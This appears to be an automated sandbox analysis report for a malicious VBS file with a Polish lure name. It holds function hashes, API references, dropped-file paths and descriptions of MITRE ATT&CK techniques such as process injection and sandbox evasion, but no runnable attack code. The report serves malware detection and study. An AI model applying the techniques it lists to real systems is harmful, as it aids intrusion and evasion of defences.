Opcode Fuzzy Hash: 18d4879820a4453eecdf162b4afe9d44c77a4ab57f81905e4f0cda94476a9892
Instruction Fuzzy Hash: 4B913371A0C3818BE364CF29C480B6BBBE1AFC9344F10892EE5D997390E774A805CB57

Analysis Process: cmdkey.exePID: 5772, Parent PID: 7620COMMON

Execution Graph

Execution Coverage:	0.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	1

Executed Functions

Function 0371F0AD Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 547
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL ref: 0371F276

Strings

0, xrefs: 0371F2ED
r,_, xrefs: 0371F0AE

Memory Dump Source

Source File: 00000005.00000002.21763721591.0000000003710000.00000040.00000800.00020000.00000000.sdmp, Offset: 03710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3710000_cmdkey.jbxd

Similarity

API ID: InformationProcessQuery
String ID: r,_$0
API String ID: 1778838933-1867104059
Opcode ID: d59769f696c09787be70c6aacb4a55f1e2fd8c7be00940bfea348cea23727dc9
Instruction ID: 05e03cdf1fb3e7961b3a6c0ac9cd163e3dc1d27d8f76c8675b7a117bd8b1a6c5
Opcode Fuzzy Hash: d59769f696c09787be70c6aacb4a55f1e2fd8c7be00940bfea348cea23727dc9
Instruction Fuzzy Hash: A0020C75528B8C8FDBA5EF68C898ADE7BE1FB99304F50061AD84ECB250DF349641CB41

Function 038834E0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 038834EA

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efd1828db048c50be05b2a4266a84ea0e047bb5391dae8a7887270552071f143
Instruction ID: 981587849a48013a5ee7fe43d47bdcd0ba8a20ddf1e5a463744f6ee304735092
Opcode Fuzzy Hash: efd1828db048c50be05b2a4266a84ea0e047bb5391dae8a7887270552071f143
Instruction Fuzzy Hash: 6290023161510902E900A1984614706100587D2201F65C8D6A141D568DC7A5895575B2

Function 03882B80 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882B8A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6ec375cc7813267e9e942094404079563e264b252de54680f1f9880442e77f2e
Instruction ID: c5497d0a5465e25258badd56ae3d0689312400d7fae8f15c5c380ca433708286
Opcode Fuzzy Hash: 6ec375cc7813267e9e942094404079563e264b252de54680f1f9880442e77f2e
Instruction Fuzzy Hash: F690023121100D42E900A1984504B46000587E2301F55C4DBA111D654DC725C8557531

Function 03882B90 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882B9A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9dc1e9802c9e3a364627f695d11016ebbeb99dc6a26900efbcc7f59422c4c9b4
Instruction ID: 3fed381f1c8f94942a93c679cfd037d4833c94c2220ae43c551791f5b76c6c4e
Opcode Fuzzy Hash: 9dc1e9802c9e3a364627f695d11016ebbeb99dc6a26900efbcc7f59422c4c9b4
Instruction Fuzzy Hash: D690023121108D02E910A198850474A000587D2301F59C8D6A541D658DC7A588957131

Function 03882BC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882BCA

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ccece4d2c021614421167a87594fb858057fe2d494d4b8d26bfa071e8a85ecb3
Instruction ID: 05bcb7432c70fa522ea704bcd06238bdd0cc565d128712f04797c6693cb01a21
Opcode Fuzzy Hash: ccece4d2c021614421167a87594fb858057fe2d494d4b8d26bfa071e8a85ecb3
Instruction Fuzzy Hash: 4790023121100902E900A5D85508646000587E2301F55D4D6A601D555EC77588957131

Function 03882B00 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882B0A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 35324c99ed3e5acf8e731d8d83d9a88d8c389d0b4d97c83ad3fce4085aeeabd8
Instruction ID: 9c3c3aea7e6af146faac05b6749e02be635c9466ed488b61800ae2fd18e2f090
Opcode Fuzzy Hash: 35324c99ed3e5acf8e731d8d83d9a88d8c389d0b4d97c83ad3fce4085aeeabd8
Instruction Fuzzy Hash: 9E90023121504D42E940B1984504A46001587D2305F55C4D6A105D694DD7358D59B671

Function 03882B10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882B1A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ccb04363554f335d4f08a45a1e852c4947355c24ff3f24d2fb17f8fae5513e2d
Instruction ID: d19c7476c0ed5c42c1570601e46cce720d4fc9e26c0aeae1f45b846b40a65df1
Opcode Fuzzy Hash: ccb04363554f335d4f08a45a1e852c4947355c24ff3f24d2fb17f8fae5513e2d
Instruction Fuzzy Hash: 5690023121100D02E980B198450464A000587D3301F95C4DAA101E654DCB258A5D77B1

Function 03882A80 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882A8A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 476852e6ae9f13b9a3a96686f82e122ccfd78d81cbd92d57f58a1bf207b315e2
Instruction ID: 115bbea51f01618a785738276bd9f1bcf386334b734ae5e5b422283619c83e95
Opcode Fuzzy Hash: 476852e6ae9f13b9a3a96686f82e122ccfd78d81cbd92d57f58a1bf207b315e2
Instruction Fuzzy Hash: 0E900261212005035905B1984514616400A87E2201B55C4E6E200D590DC63588957135

Function 03882E50 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882E5A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: eec5c9e22f7da737c9e8f060fe5a3cef7598ccb4be2ca8a782110d024a227a11
Instruction ID: e57b48b337841997e0a4c91c74e08d17528732c7bf054b03e44b49a8189fc945
Opcode Fuzzy Hash: eec5c9e22f7da737c9e8f060fe5a3cef7598ccb4be2ca8a782110d024a227a11
Instruction Fuzzy Hash: 9890026135100942E900A1984514B060005C7E3301F55C4DAE205D554DC729CC567136

Function 03882D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882D1A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6d2397709e6b8baf935aa03249ad4b2cdbab6e5e28ac728e2a4916bb6483d6d1
Instruction ID: 2d1239ca4294a6879d7ddd9b4f728fffe20f7bdfcf672a0f39939b1e0ce9289f
Opcode Fuzzy Hash: 6d2397709e6b8baf935aa03249ad4b2cdbab6e5e28ac728e2a4916bb6483d6d1
Instruction Fuzzy Hash: 3890023121100913E911A1984604707000987D2241F95C8D7A141D558DD7668956B131

Function 03882CF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882CFA

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d79ea652f1405effc82f4e2fbc376debe8b75aac5c2279e9f479d3e6bd5362a7
Instruction ID: 33efd5ed6966615d876db41682d52984c6c7538f45146a68c4ee97815e984c0a
Opcode Fuzzy Hash: d79ea652f1405effc82f4e2fbc376debe8b75aac5c2279e9f479d3e6bd5362a7
Instruction Fuzzy Hash: 04900221252046526D45F1984504507400697E2241795C4D7A240D950CC636985AE631

Function 03882C30 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882C3A

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ae102ebf5b78e659271727ab29627921389a3245bc7b1da783d2ddd8187802e6
Instruction ID: bdfa244206236c7ed556c9e00746d3f445d115aa568fdded6cc9b13ff2854c05
Opcode Fuzzy Hash: ae102ebf5b78e659271727ab29627921389a3245bc7b1da783d2ddd8187802e6
Instruction Fuzzy Hash: BC90022922300502E980B198550860A000587D3202F95D8DAA100E558CCA25886D6331

Function 03882B2A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 03882B44

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b659a6c82b54d7fa2f9c0ffe44407cbd31f7319db34a931571661d958f62c322
Instruction ID: 4a6602645e34d62bcc1e7094452a941ea72bb7f8945438575d0e4ca89dcedf2f
Opcode Fuzzy Hash: b659a6c82b54d7fa2f9c0ffe44407cbd31f7319db34a931571661d958f62c322
Instruction Fuzzy Hash: 07B09B719024C6C5EE11E7A4470C717794467D1701F19C4D6D2468645E8739C095F275

Non-executed Functions

Function 03877550 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Processing section info %ws..., xrefs: 038B4592
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 038B4530
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 038B4507
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 038B454D
Execute=1, xrefs: 038B451E
ExecuteOptions, xrefs: 038B44AB
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 038B4460

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: ebc766dd0d6de22ee6e38c5cce05cd859c0acc0c08f7a15553284690d08a6ffc
Instruction ID: 65e8a9fe1b79f06038b6c74c113d387c03074373fc30a92ab4b10edbe1382318
Opcode Fuzzy Hash: ebc766dd0d6de22ee6e38c5cce05cd859c0acc0c08f7a15553284690d08a6ffc
Instruction Fuzzy Hash: E351F871A003196ADF20EBD9DC86FFD77A9AF04744F1804E9E505EB281EB70EA45CB61

Function 03849046 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 038490B1
@, xrefs: 03849095

Memory Dump Source

Source File: 00000005.00000002.21763793954.0000000003810000.00000040.00001000.00020000.00000000.sdmp, Offset: 03810000, based on PE: true

Associated: 00000005.00000002.21763793954.0000000003939000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.21763793954.000000000393D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3810000_cmdkey.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: 548cdc11964e9ed302b50836f7895bcb07f7c903932dc505e9dbacda9c8e44c4
Instruction ID: 4077c23375fe592eeaa5e205bbc89ac9b005d271f5d4f862f3dce633cde1b5fa
Opcode Fuzzy Hash: 548cdc11964e9ed302b50836f7895bcb07f7c903932dc505e9dbacda9c8e44c4
Instruction Fuzzy Hash: F2813AB1D012699BDB35DB98CC44BEEB6B8AF48710F0445EAE909F7250D7709E84CFA1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Zeskanowana lista przedmiot#U00f3w nr 84329.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Akre.txt

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Consociation.Bal

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Elvi.jud

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Syndicship.que

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic\gennemsynenes.jal

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic\metronomic.bee

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic\nontruancy.far

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\aftalekalendere.ave

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\energiraads.ref

C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll

C:\Users\user\AppData\Local\Temp\temp_executable.exe

Static File Info

General

File Icon

Windows Analysis Report
Zeskanowana lista przedmiot#U00f3w nr 84329.vbs

Function 004036D7 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 416
stringfilecomCOMMON

Function 004066F4 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 155
filestringCOMMON

Function 00405A19 Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 225
stringregistryCOMMON

Function 0040154A Relevance: 37.2, APIs: 17, Strings: 4, Instructions: 441
stringtimesleepCOMMON

Function 004033C8 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 178
memoryCOMMON

Function 00405E95 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040291D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166
fileCOMMON

Function 00406179 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

